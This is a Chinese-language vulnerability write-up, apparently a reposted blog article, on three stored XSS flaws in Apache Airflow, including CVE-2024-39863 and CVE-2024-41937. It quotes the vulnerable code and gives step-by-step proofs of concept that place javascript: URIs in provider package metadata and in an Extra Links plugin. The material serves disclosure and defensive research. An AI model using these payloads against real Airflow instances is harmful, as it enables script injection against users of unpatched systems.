上个月看到Apache Airflow披露了1个存储型xss CVE-2024-39863: Apache Airflow: Potential XSS Vulnerability,于是进行了分析了下,并在分析过程中找到了2个相似的漏洞。
CVE-2024-39863:Apache Airflow潜在的存储型xss
披露的信息描述的是输入是来在provider中的链接信息,顿时感觉这个漏洞有点鸡肋,因为Airflow的provider安装需要使用pip进行安装,这不就是供应链安全了吗
查看相关补丁,问题出在airflow-2.9.2/airflow/www/views.py中对于/provider接口渲染的数据的位置
核心代码如下
@expose("/provider")
@auth.has_access_view(AccessView.PROVIDERS)
def list(self):
"""List providers."""
providers_manager = ProvidersManager()
providers = []
for pi in providers_manager.providers.values():
provider_info = pi.data
provider_data = {
"package_name": provider_info["package-name"],
"description": self._clean_description(provider_info["description"]),
"version": pi.version,
# 可控
"documentation_url": get_doc_url_for_provider(provider_info["package-name"], pi.version),
}
providers.append(provider_data)
title = "Providers"
doc_url = get_docs_url("apache-airflow-providers/index.html")
return self.render_template(
"airflow/providers.html",
providers=providers,
title=title,
doc_url=doc_url,
)
def _clean_description(self, description):
def _build_link(match_obj):
text = match_obj.group(1)
url = match_obj.group(2)
return Markup(f'<a href="{url}">{text}</a>')
cd = escape(description)
cd = re2.sub(r"`(.*)[s+]+<(.*)>`__", _build_link, cd)
return Markup(cd)
就是该接口在搜集和数据已安装的provider时,会从已安装的包的描述信息中使用中文表达式去提取连url信息转换成超链接a标签。
开发者自身是有一定的安全意识的,首先对安装的provider包提供的description使用escape方法进行了一层html转义,然后使用正则表达式匹配转义后的描述中的a标签的href属性的值,对于匹配到的2个分组又拼接成一个完整的a标签,对于拼接好的数据,使用Markup方法又进行了一层escape,但是如果对xss有一定熟悉,就知道,这种escape还远远不够,因为特定标签如a标签的href属性是特殊的,可以结合javascript伪协议实现js的执行
上述代码可知输出在/airflow/www/templates/airflow/providers.html文件
最终该漏洞的poc也很简单
首先找一个已发布的包(以下以apache_airflow_providers_airbyte为例),修改下包里面的get_provider_info.py文件,构造恶意的description字段之前的description为
"description": "`Airbyte <https://airbyte.com/>`__n"
将其修改为
"description": "`Airbyte <javascript:alert(document.domain)>`__n"
然后将其打包成tar.gz压缩包,使用pip进行安装
之后在provider页面点击对应的链接即可触发
依据该漏洞的思路,和存在漏洞的代码特征,我找到了2个相似的存储型XSS
CVE-2024-41937:Apache Airflow Provider links存储型XSS
首先在www/templates/airflow/providers.html中可以看到安装的provider的documentation_url出现在 <a>
标签中的href属性中,如果documentation_url完全可控,那么就可以造成xss
{% for provider in providers %}
<tr>
<td><a href="{{ provider['documentation_url'] }}">{{ provider["package_name"] }}</a></td>
<td>{{ provider["version"] }}</td>
<td>{{ provider["description"]}}</td>
</tr>
{% endfor %}
后续经过分析documentation_url来自安装的包中的源信息
找一个已发布的包(以下以apache_airflow_providers_airbyte为例),修改下包里面的对其Project-URL进行修改,注入恶意payload javascript:prompt(document.domain)
安装成功后在airflow 的provider页面,点击相关连接,即可发现恶意js代码已执行
该漏洞最终在Airflow的2.10.0版本中进行修复
Apache Airfow Extra Links 存储型XSS
文件airflow/www/static/js/dag/details/taskInstance/ExtraLinks.tsx中会将Operator相关的Extra Links进行渲染成超链接
return (
<Box my={3}>
<Text as="strong">Extra Links</Text>
<Flex flexWrap="wrap" mt={3}>
{links.map(({ name, url }) => (
<Button
key={name}
as={Link}
colorScheme="blue"
href={url}
isDisabled={!url}
target={isExternal(url) ? "_blank" : undefined}
mr={2}
>
{name}
</Button>
))}
</Flex>
<Divider my={2} />
</Box>
);
};
其中如果url可控则可造成存储型xss。经过分析,可以为Operator注册Extra Links来实现控制,具体可以参考https://www.astronomer.io/docs/learn/operator-extra-link-tutorial教程为SimpleHttpOperator注册Extra Links
1、在Airflow项目的“dags”文件夹中创建一个名为“plugin_test_dag.py”的新Python文件。将以下DAG代码复制并粘贴到文件中
from airflow.models.dag import DAG
from airflow.providers.http.operators.http import SimpleHttpOperator
from pendulum import datetime
with DAG(
dag_id="plugin_test_dag",
start_date=datetime(2022, 11, 1),
schedule=None,
catchup=False
):
call_api_simple = SimpleHttpOperator(
task_id="call_api_simple",
http_conn_id="random_user_api_conn",
method="GET"
)
2、创建一个名字为random_user_api_conn的connection(上述dag会使用它),具体的其他内容随便写
3、在Airflow项目的“plugins”文件夹中创建一个名为my_extra_link_plugin.py的新Python文件,并粘贴以下代码。
from airflow.plugins_manager import AirflowPlugin
from airflow.models.baseoperator import BaseOperatorLink
from airflow.providers.http.operators.http import SimpleHttpOperator
# define the extra link
class HTTPDocsLink(BaseOperatorLink):
# name the link button in the UI
name = "HTTP docs"
# add the button to one or more operators
operators = [SimpleHttpOperator]
# provide the link
def get_link(self, operator, *, ti_key=None):
return "javascript:alert(1)"
# define the plugin class
class AirflowExtraLinkPlugin(AirflowPlugin):
name = "extra_link_plugin"
operator_extra_links = [
HTTPDocsLink(),
]
4、为了能够看到我们注册的Extra Links,需要运行我们上面创建的名为plugins_test_dag的DAG,在Grid视图中,查看名为HTTP docs的Extra Links按钮,即可触发XSS
该漏洞在Airflow的2.10.1版本中进行修复
【作者】:sw0rd1ight
【来源】:https://xz.aliyun.com/t/15761
原文始发于微信公众号(船山信安):Apache Airflow XSS fuzzing
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论